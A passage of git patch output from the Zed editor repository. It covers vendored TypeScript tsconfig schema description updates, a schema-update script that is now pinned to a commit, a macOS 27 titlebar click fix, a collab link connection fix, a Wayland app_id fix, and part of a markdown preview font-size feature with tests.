+              "markdownDescription": "Require sufficient annotation on exports so other tools can trivially generate declaration files.\n \nFor more information, see the [5.5 release notes](https://typescriptlang.org/docs/handbook/release-notes/typescript-5-5.html#isolated-declarations)",
+              "x-intellij-html-description": "<p>Require sufficient annotation on exports so other tools can trivially generate declaration files.</p>\n<p>For more information, see the <a href=\"https://typescriptlang.org/docs/handbook/release-notes/typescript-5-5.html#isolated-declarations\">5.5 release notes</a></p>\n"
             },
             "noUncheckedSideEffectImports": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Check side effect imports.",
+              "description": "In JavaScript it's possible to `import` a module without actually importing any values from it.\n\n```ts\nimport \"some-module\";\n```\n\nThese imports are often called *side effect imports* because the only useful behavior they can provide is by executing some side effect (like registering a global variable, or adding a polyfill to a prototype).\n\nBy default, TypeScript will not check these imports for validity. If the import resolves to a valid source file, TypeScript will load and check the file.\nIf no source file is found, TypeScript will silently ignore the import.\n\nThis is surprising behavior, but it partially stems from modeling patterns in the JavaScript ecosystem.\nFor example, this syntax has also been used with special loaders in bundlers to load CSS or other assets.\nYour bundler might be configured in such a way where you can include specific `.css` files by writing something like the following:\n\n```tsx\nimport \"./button-component.css\";\n\nexport function Button() {\n    // ...\n}\n```\n\nStill, this masks potential typos on side effect imports.\n\nWhen `--noUncheckedSideEffectImports` is enabled, TypeScript will error if it can't find a source file for a side effect import.\n\n```ts\nimport \"oops-this-module-does-not-exist\";\n//     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n// error: Cannot find module 'oops-this-module-does-not-exist' or its corresponding\n//        type declarations.\n```\n\nWhen enabling this option, some working code may now receive an error, like in the CSS example above.\nTo work around this, users who want to just write side effect `import`s for assets might be better served by writing what's called an *ambient module declaration* with a wildcard specifier.\nIt would go in a global file and look something like the following:\n\n```ts\n// ./src/globals.d.ts\n\n// Recognize all CSS files as module imports.\ndeclare module \"*.css\" {}\n```\n\nIn fact, you might already have a file like this in your project!\nFor example, running something like `vite init` might create a similar `vite-env.d.ts`.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Check side effect imports.\n\nSee more: https://www.typescriptlang.org/tsconfig#noUncheckedSideEffectImports"
+              "markdownDescription": "In JavaScript it's possible to `import` a module without actually importing any values from it.\n\n```ts\nimport \"some-module\";\n```\n\nThese imports are often called *side effect imports* because the only useful behavior they can provide is by executing some side effect (like registering a global variable, or adding a polyfill to a prototype).\n\nBy default, TypeScript will not check these imports for validity. If the import resolves to a valid source file, TypeScript will load and check the file.\nIf no source file is found, TypeScript will silently ignore the import.\n\nThis is surprising behavior, but it partially stems from modeling patterns in the JavaScript ecosystem.\nFor example, this syntax has also been used with special loaders in bundlers to load CSS or other assets.\nYour bundler might be configured in such a way where you can include specific `.css` files by writing something like the following:\n\n```tsx\nimport \"./button-component.css\";\n\nexport function Button() {\n    // ...\n}\n```\n\nStill, this masks potential typos on side effect imports.\n\nWhen `--noUncheckedSideEffectImports` is enabled, TypeScript will error if it can't find a source file for a side effect import.\n\n```ts\nimport \"oops-this-module-does-not-exist\";\n//     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n// error: Cannot find module 'oops-this-module-does-not-exist' or its corresponding\n//        type declarations.\n```\n\nWhen enabling this option, some working code may now receive an error, like in the CSS example above.\nTo work around this, users who want to just write side effect `import`s for assets might be better served by writing what's called an *ambient module declaration* with a wildcard specifier.\nIt would go in a global file and look something like the following:\n\n```ts\n// ./src/globals.d.ts\n\n// Recognize all CSS files as module imports.\ndeclare module \"*.css\" {}\n```\n\nIn fact, you might already have a file like this in your project!\nFor example, running something like `vite init` might create a similar `vite-env.d.ts`.",
+              "x-intellij-html-description": "<p>In JavaScript it&#39;s possible to <code>import</code> a module without actually importing any values from it.</p>\n<pre><code class=\"language-ts\">import &quot;some-module&quot;;\n</code></pre>\n<p>These imports are often called <em>side effect imports</em> because the only useful behavior they can provide is by executing some side effect (like registering a global variable, or adding a polyfill to a prototype).</p>\n<p>By default, TypeScript will not check these imports for validity. If the import resolves to a valid source file, TypeScript will load and check the file.\nIf no source file is found, TypeScript will silently ignore the import.</p>\n<p>This is surprising behavior, but it partially stems from modeling patterns in the JavaScript ecosystem.\nFor example, this syntax has also been used with special loaders in bundlers to load CSS or other assets.\nYour bundler might be configured in such a way where you can include specific <code>.css</code> files by writing something like the following:</p>\n<pre><code class=\"language-tsx\">import &quot;./button-component.css&quot;;\n\nexport function Button() {\n    // ...\n}\n</code></pre>\n<p>Still, this masks potential typos on side effect imports.</p>\n<p>When <code>--noUncheckedSideEffectImports</code> is enabled, TypeScript will error if it can&#39;t find a source file for a side effect import.</p>\n<pre><code class=\"language-ts\">import &quot;oops-this-module-does-not-exist&quot;;\n//     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n// error: Cannot find module &#39;oops-this-module-does-not-exist&#39; or its corresponding\n//        type declarations.\n</code></pre>\n<p>When enabling this option, some working code may now receive an error, like in the CSS example above.\nTo work around this, users who want to just write side effect <code>import</code>s for assets might be better served by writing what&#39;s called an <em>ambient module declaration</em> with a wildcard specifier.\nIt would go in a global file and look something like the following:</p>\n<pre><code class=\"language-ts\">// ./src/globals.d.ts\n\n// Recognize all CSS files as module imports.\ndeclare module &quot;*.css&quot; {}\n</code></pre>\n<p>In fact, you might already have a file like this in your project!\nFor example, running something like <code>vite init</code> might create a similar <code>vite-env.d.ts</code>.</p>\n"
             },
             "strictBuiltinIteratorReturn": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Built-in iterators are instantiated with a 'TReturn' type of 'undefined' instead of 'any'.",
+              "description": "Built-in iterators are instantiated with a `TReturn` type of undefined instead of `any`.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Built-in iterators are instantiated with a 'TReturn' type of 'undefined' instead of 'any'.\n\nSee more: https://www.typescriptlang.org/tsconfig#strictBuiltinIteratorReturn"
+              "markdownDescription": "Built-in iterators are instantiated with a `TReturn` type of undefined instead of `any`.",
+              "x-intellij-html-description": "<p>Built-in iterators are instantiated with a <code>TReturn</code> type of undefined instead of <code>any</code>.</p>\n"
             }
           }
         }
@@ -1258,32 +1308,28 @@
     "typeAcquisitionDefinition": {
       "properties": {
         "typeAcquisition": {
-          "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
           "type": ["object", "null"],
           "description": "Auto type (.d.ts) acquisition options for this project. Requires TypeScript version 2.1 or later.",
           "properties": {
             "enable": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
               "description": "Enable auto type acquisition",
               "type": ["boolean", "null"],
               "default": false
             },
             "include": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
               "description": "Specifies a list of type declarations to be included in auto type acquisition. Ex. [\"jquery\", \"lodash\"]",
               "type": ["array", "null"],
               "uniqueItems": true,
               "items": {
-                "type": ["string", "null"]
+                "type": "string"
               }
             },
             "exclude": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
               "description": "Specifies a list of type declarations to be excluded from auto type acquisition. Ex. [\"jquery\", \"lodash\"]",
               "type": ["array", "null"],
               "uniqueItems": true,
               "items": {
-                "type": ["string", "null"]
+                "type": "string"
               }
             }
           }
@@ -1293,22 +1339,21 @@
     "referencesDefinition": {
       "properties": {
         "references": {
-          "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-          "type": ["array", "null"],
+          "type": "array",
           "uniqueItems": true,
-          "description": "Referenced projects. Requires TypeScript version 3.0 or later.",
+          "description": "Referenced projects. Requires TypeScript version 3.0 or later.\n\n---\n\nProject references are a way to structure your TypeScript programs into smaller pieces.\nUsing Project References can greatly improve build and editor interaction times, enforce logical separation between components, and organize your code in new and improved ways.\n\nYou can read more about how references works in the [Project References](https://typescriptlang.org/docs/handbook/project-references.html) section of the handbook",
           "items": {
-            "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-            "type": ["object", "null"],
+            "type": "object",
             "description": "Project reference.",
             "properties": {
               "path": {
-                "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-                "type": ["string", "null"],
+                "type": "string",
                 "description": "Path to referenced tsconfig or to folder containing tsconfig."
               }
             }
-          }
+          },
+          "markdownDescription": "Referenced projects. Requires TypeScript version 3.0 or later.\n\n---\n\nProject references are a way to structure your TypeScript programs into smaller pieces.\nUsing Project References can greatly improve build and editor interaction times, enforce logical separation between components, and organize your code in new and improved ways.\n\nYou can read more about how references works in the [Project References](https://typescriptlang.org/docs/handbook/project-references.html) section of the handbook",
+          "x-intellij-html-description": "<p>Referenced projects. Requires TypeScript version 3.0 or later.</p>\n<hr>\n<p>Project references are a way to structure your TypeScript programs into smaller pieces.\nUsing Project References can greatly improve build and editor interaction times, enforce logical separation between components, and organize your code in new and improved ways.</p>\n<p>You can read more about how references works in the <a href=\"https://typescriptlang.org/docs/handbook/project-references.html\">Project References</a> section of the handbook</p>\n"
         }
       }
     },
@@ -1372,7 +1417,7 @@
               "default": ["(?:^|/)node_modules/"],
               "description": "Paths which should not be compiled.\n\nEach string in the array is converted to a regular expression via `new RegExp()` and tested against source paths prior to compilation.\n\nSource paths are normalized to posix-style separators, relative to the directory containing `tsconfig.json` or to cwd if no `tsconfig.json` is loaded.\n\nDefault is to ignore all node_modules subdirectories.",
               "items": {
-                "type": ["string", "null"]
+                "type": "string"
               },
               "type": ["array", "null"]
             },
@@ -1390,7 +1435,7 @@
             },
             "moduleTypes": {
               "$ref": "#/definitions/tsNodeModuleTypes",
-              "description": "Override certain paths to be compiled and executed as CommonJS or ECMAScript modules.\nWhen overridden, the tsconfig \"module\" and package.json \"type\" fields are overridden, and\nthe file extension is ignored.\nThis is useful if you cannot use .mts, .cts, .mjs, or .cjs file extensions;\nit achieves the same effect.\n\nEach key is a glob pattern following the same rules as tsconfig's \"include\" array.\nWhen multiple patterns match the same file, the last pattern takes precedence.\n\n`cjs` overrides matches files to compile and execute as CommonJS.\n`esm` overrides matches files to compile and execute as native ECMAScript modules.\n`package` overrides either of the above to default behavior, which obeys package.json \"type\" and\ntsconfig.json \"module\" options."
+              "description": "Override certain paths to be compiled and executed as CommonJS or ECMAScript modules.\nWhen overridden, the tsconfig \"module\" and package.json \"type\" fields are overridden.\nThis is useful because TypeScript files cannot use the .cjs nor .mjs file extensions;\nit achieves the same effect.\n\nEach key is a glob pattern following the same rules as tsconfig's \"include\" array.\nWhen multiple patterns match the same file, the last pattern takes precedence.\n\n`cjs` overrides matches files to compile and execute as CommonJS.\n`esm` overrides matches files to compile and execute as native ECMAScript modules.\n`package` overrides either of the above to default behavior, which obeys package.json \"type\" and\ntsconfig.json \"module\" options."
             },
             "preferTsExts": {
               "default": false,
@@ -1405,7 +1450,7 @@
             "require": {
               "description": "Modules to require, like node's `--require` flag.\n\nIf specified in `tsconfig.json`, the modules will be resolved relative to the `tsconfig.json` file.\n\nIf specified programmatically, each input string should be pre-resolved to an absolute path for\nbest results.",
               "items": {
-                "type": ["string", "null"]
+                "type": "string"
               },
               "type": ["array", "null"]
             },
diff --git a/script/update-json-schemas b/script/update-json-schemas
index 182e0ff03b8067..778ca856b6969d 100755
--- a/script/update-json-schemas
+++ b/script/update-json-schemas
@@ -3,18 +3,33 @@
 set -euo pipefail
 
 cd "$(dirname "$0")/.." || exit 1
-cd crates/languages/src/json/schemas
+cd crates/json_schema_store/src/schemas
+
+if [[ $# -gt 1 ]]; then
+    echo "Usage: script/update-json-schemas [schemastore-commit]" >&2
+    exit 1
+fi
+
+UPSTREAM_REF="${1:-master}"
+
+COMMIT="$(curl -sL "https://api.github.com/repos/SchemaStore/schemastore/commits/$UPSTREAM_REF")"
+HASH="$(jq -r '.sha' <<< "$COMMIT")"
+if [[ -z "$HASH" || "$HASH" == "null" ]]; then
+    echo "Failed to resolve SchemaStore/schemastore commit: $UPSTREAM_REF" >&2
+    exit 1
+fi
+
 files=(
     "tsconfig.json"
     "package.json"
 )
 for file in "${files[@]}"; do
-    curl -sL -o "$file" "https://raw.githubusercontent.com/SchemaStore/schemastore/master/src/schemas/json/$file"
+    curl -sL "https://raw.githubusercontent.com/SchemaStore/schemastore/$HASH/src/schemas/json/$file" |
+        sed 's|https://json\.schemastore\.org|https://www.schemastore.org|g' > "$file"
 done
 
-HASH="$(curl -s 'https://api.github.com/repos/SchemaStore/schemastore/commits/HEAD' | jq -r '.sha')"
 SHORT_HASH="${HASH:0:7}"
-DATE="$(curl -s 'https://api.github.com/repos/SchemaStore/schemastore/commits/HEAD' |jq -r .commit.author.date | cut -c1-10)"
+DATE="$(jq -r .commit.author.date <<< "$COMMIT" | cut -c1-10)"
 echo
 echo "Updated JSON schemas to [SchemaStore/schemastore@$SHORT_HASH](https://github.com/SchemaStore/schemastore/tree/$HASH) ($DATE)"
 echo
diff --git a/typos.toml b/typos.toml
index 4f877457dc16b9..1de9c79c6fee9f 100644
--- a/typos.toml
+++ b/typos.toml
@@ -20,6 +20,9 @@ extend-exclude = [
     # Suppress false positives in database schema.
     "crates/collab/migrations/20251208000000_test_schema.sql",
 
+    # Vendored JSON schemas from SchemaStore.
+    "crates/json_schema_store/src/schemas/",
+
     # Not our typos.
     "crates/livekit_api/",
     # Vim makes heavy use of partial typing tables.

From ec7c11c65c577ee6b477ced99d41eb86636b6b2e Mon Sep 17 00:00:00 2001
From: Anthony Eid <56899983+Anthony-Eid@users.noreply.github.com>
Date: Thu, 25 Jun 2026 14:25:41 -0400
Subject: [PATCH 109/772] Fix delayed titlebar clicks on macOS 27 Beta (#59836)

## Summary

macOS 27 Beta delays clicks in titlebar regions while AppKit determines
whether a gesture should become a drag, single click, or double click.
Zed's main workspace windows render a custom titlebar that already
handles window movement via `Window::start_window_move`, so they do not
need AppKit's native movable-titlebar behavior.

This sets `is_movable` to `false` for the main `MultiWorkspace` windows
and documents the `WindowOptions::is_movable` caveat for GPUI users with
custom titlebars.

## Background

The previous fix for this, #58947, used AppKit's private
`_opaqueRectForWindowMoveWhenInTitlebar` SPI to mark GPUI's full-size
content view as app-owned titlebar content. That fixed delayed titlebar
clicks, but was later reverted in #59214 because it also affected
windows that rely on AppKit's native titlebar dragging, like the
settings window.

This PR takes a narrower approach by only changing Zed's main
custom-titlebar windows. Those windows already implement dragging
explicitly via `Window::start_window_move`, so disabling AppKit's native
movable-titlebar behavior fixes the macOS 27 Beta click delay without
affecting other window types.

Release Notes:

- Fixed delayed clicks in the custom titlebar on macOS 27 Beta.
---
 crates/gpui/src/platform.rs | 7 ++++++-
 crates/zed/src/zed.rs       | 3 ++-
 2 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index f2190f8a4007ce..8fb2e2254b8501 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -1495,7 +1495,12 @@ pub struct WindowOptions {
     /// The kind of window to create
     pub kind: WindowKind,
 
-    /// Whether the window should be movable by the user
+    /// Whether the window should be movable by the user.
+    ///
+    /// On macOS 27, custom titlebar windows that implement their own drag behavior
+    /// with [`Window::start_window_move`] should set this to `false`; otherwise
+    /// AppKit can treat the titlebar region as system-owned and delay clicks
+    /// while disambiguating titlebar double-clicks.
     pub is_movable: bool,
 
     /// Whether the window should be resizable by the user
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 9aef0103258bc9..3709a6c4b425c4 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -377,7 +377,8 @@ pub fn build_window_options(display_uuid: Option<Uuid>, cx: &mut App) -> WindowO
         focus: false,
         show: false,
         kind: WindowKind::Normal,
-        is_movable: true,
+        // Zed handles window movement itself, so disable AppKit's titlebar dragging.
+        is_movable: false,
         display_id: display.map(|display| display.id()),
         window_background: cx.theme().window_background_appearance(),
         app_id: Some(app_id.to_owned()),

From f36a0089051cde9052012531ae32dc4ad786445a Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Thu, 25 Jun 2026 16:05:56 -0400
Subject: [PATCH 110/772] Fix navigating to Collab URLs not working when not
 connected (#59652)

# Objective

- Fix collab channel links opened from URL actions or the CLI when Zed
is signed in but not currently connected to the collab server.

## Solution

- Connect to collab before handling channel joins or channel notes
links.
- Keep downstream errors visible if connecting or opening still fails.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed opening collab links when Zed is not already connected to the
collaboration server.
---
 crates/zed/src/main.rs | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/crates/zed/src/main.rs b/crates/zed/src/main.rs
index b23f0774ad43bd..f196153aed675e 100644
--- a/crates/zed/src/main.rs
+++ b/crates/zed/src/main.rs
@@ -67,11 +67,13 @@ use std::{
 };
 use theme::{ActiveTheme, GlobalTheme, ThemeRegistry};
 use theme_settings::load_user_theme;
-use util::{ResultExt, TryFutureExt, maybe};
+use util::{ResultExt, maybe};
 use uuid::Uuid;
 use workspace::{
     AppState, MultiWorkspace, SerializedWorkspaceLocation, SessionWorkspace, Toast,
-    WorkspaceSettings, WorkspaceStore, notifications::NotificationId, restore_multiworkspace,
+    WorkspaceSettings, WorkspaceStore,
+    notifications::{NotificationId, NotifyResultExt},
+    restore_multiworkspace,
 };
 use zed::{
     OpenListener, OpenRequest, RawOpenRequest, app_menus, build_window_options,
@@ -1391,9 +1393,9 @@ fn handle_open_request(request: OpenRequest, app_state: Arc<AppState>, cx: &mut
                     task.await?;
                 }
                 let client = app_state.client.clone();
-                // we continue even if authentication fails as join_channel/ open channel notes will
+                // we continue even if connection fails as join_channel/ open channel notes will
                 // show a visible error message.
-                authenticate(client, cx).await.log_err();
+                client.connect(true, cx).await.into_response().log_err();
 
                 if let Some(channel_id) = request.join_channel {
                     cx.update(|cx| {
@@ -1412,6 +1414,7 @@ fn handle_open_request(request: OpenRequest, app_state: Arc<AppState>, cx: &mut
                     workspace::get_any_active_multi_workspace(app_state, cx.clone()).await?;
 
                 let workspace = workspace_window.read_with(cx, |mw, _| mw.workspace().clone())?;
+                let weak_workspace = workspace.downgrade();
 
                 let mut promises = Vec::new();
                 for (channel_id, heading) in request.open_channel_notes {
@@ -1423,10 +1426,11 @@ fn handle_open_request(request: OpenRequest, app_state: Arc<AppState>, cx: &mut
                             window,
                             cx,
                         )
-                        .log_err()
                     })?)
                 }
-                future::join_all(promises).await;
+                for result in future::join_all(promises).await {
+                    result.notify_workspace_async_err(weak_workspace.clone(), cx);
+                }
                 anyhow::Ok(())
             })
             .await;

From 35eaeb94a7e5e9dcd7384df4bd21f01c30a38a09 Mon Sep 17 00:00:00 2001
From: mTvare <mTvare6@proton.me>
Date: Fri, 26 Jun 2026 01:40:31 +0530
Subject: [PATCH 111/772] gpui: Fix xdg_toplevel app_id set to None at first
 commit on Wayland (#55583)

This PR fixes the default behaviour of setting `app_id` to `None` which
breaks the rules based management by KWin as the first commit doesn't
have the actual `app_id` and apply initially setting stops checking for
the window by when it updates.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #53962

Release Notes:

- Fixed KWin not respecting Zed's rules due to mismatch of toplevel
app_id at startup
---
 crates/gpui/src/platform.rs                   | 4 ++++
 crates/gpui/src/window.rs                     | 1 +
 crates/gpui_linux/src/linux/wayland/window.rs | 7 ++++++-
 3 files changed, 11 insertions(+), 1 deletion(-)

diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index 8fb2e2254b8501..5765fd80aff0b5 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -1582,7 +1582,11 @@ pub struct WindowParams {
     #[cfg_attr(feature = "wayland", allow(dead_code))]
     pub display_id: Option<DisplayId>,
 
+    #[cfg_attr(feature = "wayland", allow(dead_code))]
+    pub app_id: Option<String>,
+
     pub window_min_size: Option<Size<Pixels>>,
+
     #[cfg(target_os = "macos")]
     pub tabbing_identifier: Option<String>,
 }
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 7b8b6af63f087d..198fab268e8cfb 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -1326,6 +1326,7 @@ impl Window {
                 show,
                 display_id,
                 window_min_size,
+                app_id: app_id.clone(),
                 icon,
                 #[cfg(target_os = "macos")]
                 tabbing_identifier,
diff --git a/crates/gpui_linux/src/linux/wayland/window.rs b/crates/gpui_linux/src/linux/wayland/window.rs
index 33b103e5fb246a..da759cfebc733f 100644
--- a/crates/gpui_linux/src/linux/wayland/window.rs
+++ b/crates/gpui_linux/src/linux/wayland/window.rs
@@ -357,6 +357,11 @@ impl WaylandWindowState {
             if let Some(title) = options.titlebar.and_then(|titlebar| titlebar.title) {
                 xdg_state.toplevel.set_title(title.to_string());
             }
+
+            if let Some(app_id) = options.app_id.as_ref() {
+                xdg_state.toplevel.set_app_id(app_id.clone());
+            }
+
             // Set max window size based on the GPU's maximum texture dimension.
             // This prevents the window from being resized larger than what the GPU can render.
             let max_texture_size = renderer.max_texture_size() as i32;
@@ -371,7 +376,7 @@ impl WaylandWindowState {
             parent,
             children: FxHashSet::default(),
             surface,
-            app_id: None,
+            app_id: options.app_id,
             blur: None,
             viewport,
             globals,

From 46ff888db8530df7798451eff82f428d2e033eab Mon Sep 17 00:00:00 2001
From: David Alecrim <35930364+davidalecrim1@users.noreply.github.com>
Date: Fri, 26 Jun 2026 02:12:59 -0300
Subject: [PATCH 112/772] markdown_preview: Add font size settings and actions
 (#55489)

Add support for scaling the Markdown preview's body text and headings
with `cmd-=` / `cmd--` / `cmd-0`. Previously these shortcuts only
resized code blocks because the preview's body used `ui_font_size` and
headings used a rem-based scale anchored to it, while the keybindings
only mutated `BufferFontSize`.

The preview's scroll subtree is now wrapped in
`WithRemSize(buffer_font_size)`, so `1rem` resolves to the buffer font
size inside the preview. Body text, headings
(`text_3xl`/`text_2xl`/...), and rem-based spacing all scale together.
The outer focus root and scrollbar remain at the UI font size.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #55374

Release Notes:

- Added `markdown_preview_font_size` setting and actions to scale
Markdown preview font size separately from the editor.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 assets/settings/default.json                  |   6 +
 crates/markdown/src/markdown.rs               | 108 +++++++++++++-
 .../src/markdown_preview_view.rs              | 135 +++++++++++++-----
 crates/settings/src/vscode_import.rs          |   1 +
 crates/settings_content/src/theme.rs          |   3 +
 crates/settings_ui/src/page_data.rs           |  62 ++++++++
 crates/theme_settings/src/settings.rs         |  48 +++++++
 crates/theme_settings/src/theme_settings.rs   |  21 ++-
 docs/src/visual-customization.md              |  12 +-
 9 files changed, 349 insertions(+), 47 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 9bb7d056bbfc75..67aacf3f87cfdf 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -73,6 +73,12 @@
   "agent_buffer_font_size": 12,
   // The default font size for the commit editor in the git panel and commit modal.
   "git_commit_buffer_font_size": 12,
+  // The default font size for the markdown preview. Falls back to the editor font size if unset.
+  "markdown_preview_font_size": null,
+  // The font family for the markdown preview. Falls back to the UI font family if unset.
+  "markdown_preview_font_family": null,
+  // The font family for code blocks in the markdown preview. Falls back to the editor font family if unset.
+  "markdown_preview_code_font_family": null,
   // How much to fade out unused code.
   "unnecessary_code_fade": 0.3,
   // Active pane styling settings.
diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index 80265834dfa2c4..6d37ce1c86d115 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -175,10 +175,14 @@ impl MarkdownStyle {
                 theme_settings.agent_buffer_font_size(cx),
                 theme_settings.agent_ui_font_size(cx),
             ),
-            MarkdownFont::Editor | MarkdownFont::Preview => (
+            MarkdownFont::Editor => (
                 theme_settings.buffer_font_size(cx),
                 theme_settings.ui_font_size(cx),
             ),
+            MarkdownFont::Preview => (
+                theme_settings.markdown_preview_font_size(cx),
+                theme_settings.ui_font_size(cx),
+            ),
         };
 
         let body_font_family = if is_preview {
@@ -199,7 +203,11 @@ impl MarkdownStyle {
             font_family: Some(body_font_family),
             font_fallbacks: theme_settings.ui_font.fallbacks.clone(),
             font_features: Some(theme_settings.ui_font.features.clone()),
-            font_size: Some(ui_font_size.into()),
+            font_size: Some(if is_preview {
+                rems(1.0).into()
+            } else {
+                ui_font_size.into()
+            }),
             line_height: Some(line_height.into()),
             color: Some(colors.text),
             ..Default::default()
@@ -306,14 +314,14 @@ impl MarkdownStyle {
         };
 
         if is_preview {
-            style.with_preview_overrides(ui_font_size, colors)
+            style.with_preview_overrides(colors)
         } else {
             style
         }
     }
 
-    fn with_preview_overrides(mut self, ui_font_size: Pixels, colors: &theme::ThemeColors) -> Self {
-        let body_font_size = ui_font_size * 0.92;
+    fn with_preview_overrides(mut self, colors: &theme::ThemeColors) -> Self {
+        let body_font_size = rems(0.92);
         self.base_text_style.font_size = body_font_size.into();
         self.container_style.text.font_size = Some(body_font_size.into());
 
@@ -3966,7 +3974,7 @@ impl RenderedText {
 #[cfg(test)]
 mod tests {
     use super::*;
-    use gpui::{RenderImage, TestAppContext, size};
+    use gpui::{RenderImage, TestAppContext, UpdateGlobal, size};
     use language::{Language, LanguageConfig, LanguageMatcher};
     use std::sync::{
         Arc,
@@ -5168,6 +5176,28 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    fn test_preview_body_font_size_is_rem_based(cx: &mut TestAppContext) {
+        ensure_theme_initialized(cx);
+        let (_, cx) = cx.add_window_view(|_, _| TestWindow);
+        cx.update(|window, cx| {
+            let style = MarkdownStyle::themed(MarkdownFont::Preview, window, cx);
+            assert!(
+                matches!(style.base_text_style.font_size, AbsoluteLength::Rems(_)),
+                "preview body font size must be rem-based, got {:?}",
+                style.base_text_style.font_size
+            );
+            assert!(
+                matches!(
+                    style.container_style.text.font_size,
+                    Some(AbsoluteLength::Rems(_))
+                ),
+                "preview container font size must be rem-based, got {:?}",
+                style.container_style.text.font_size
+            );
+        });
+    }
+
     #[track_caller]
     fn assert_mappings(rendered: &RenderedText, expected: Vec<Vec<(usize, usize)>>) {
         assert_eq!(rendered.lines.len(), expected.len(), "line count mismatch");
@@ -5276,4 +5306,70 @@ mod tests {
             "H3 line height ({h3_line_height:?}) should be greater than body text ({body_line_height:?})"
         );
     }
+
+    #[gpui::test]
+    fn test_editor_zoom_does_not_affect_markdown_preview(cx: &mut TestAppContext) {
+        ensure_theme_initialized(cx);
+
+        cx.update(|cx| {
+            settings::SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.theme.buffer_font_size = Some(16.0.into());
+                    settings.theme.markdown_preview_font_size = None;
+                });
+            });
+        });
+        cx.run_until_parked();
+
+        cx.update(|cx| {
+            let before = ThemeSettings::get_global(cx).markdown_preview_font_size(cx);
+            assert_eq!(before, px(16.0));
+
+            theme_settings::increase_buffer_font_size(cx);
+            theme_settings::increase_buffer_font_size(cx);
+            theme_settings::increase_buffer_font_size(cx);
+
+            assert_eq!(ThemeSettings::get_global(cx).buffer_font_size(cx), px(19.0));
+            assert_eq!(
+                ThemeSettings::get_global(cx).markdown_preview_font_size(cx),
+                before
+            );
+        });
+    }
+
+    #[gpui::test]
+    fn test_markdown_preview_follows_buffer_font_size_setting_when_unset(cx: &mut TestAppContext) {
+        ensure_theme_initialized(cx);
+
+        cx.update(|cx| {
+            settings::SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.theme.buffer_font_size = Some(20.0.into());
+                    settings.theme.markdown_preview_font_size = None;
+                });
+            });
+        });
+        cx.run_until_parked();
+        cx.update(|cx| {
+            assert_eq!(
+                ThemeSettings::get_global(cx).markdown_preview_font_size(cx),
+                px(20.0)
+            );
+        });
+
+        cx.update(|cx| {
+            settings::SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.theme.buffer_font_size = Some(24.0.into());
+                });
+            });
+        });
+        cx.run_until_parked();
+        cx.update(|cx| {
+            assert_eq!(
+                ThemeSettings::get_global(cx).markdown_preview_font_size(cx),
+                px(24.0)
+            );
+        });
+    }
 }
diff --git a/crates/markdown_preview/src/markdown_preview_view.rs b/crates/markdown_preview/src/markdown_preview_view.rs
index 0ecb0cc4586531..55ba68ecb8d664 100644
--- a/crates/markdown_preview/src/markdown_preview_view.rs
+++ b/crates/markdown_preview/src/markdown_preview_view.rs
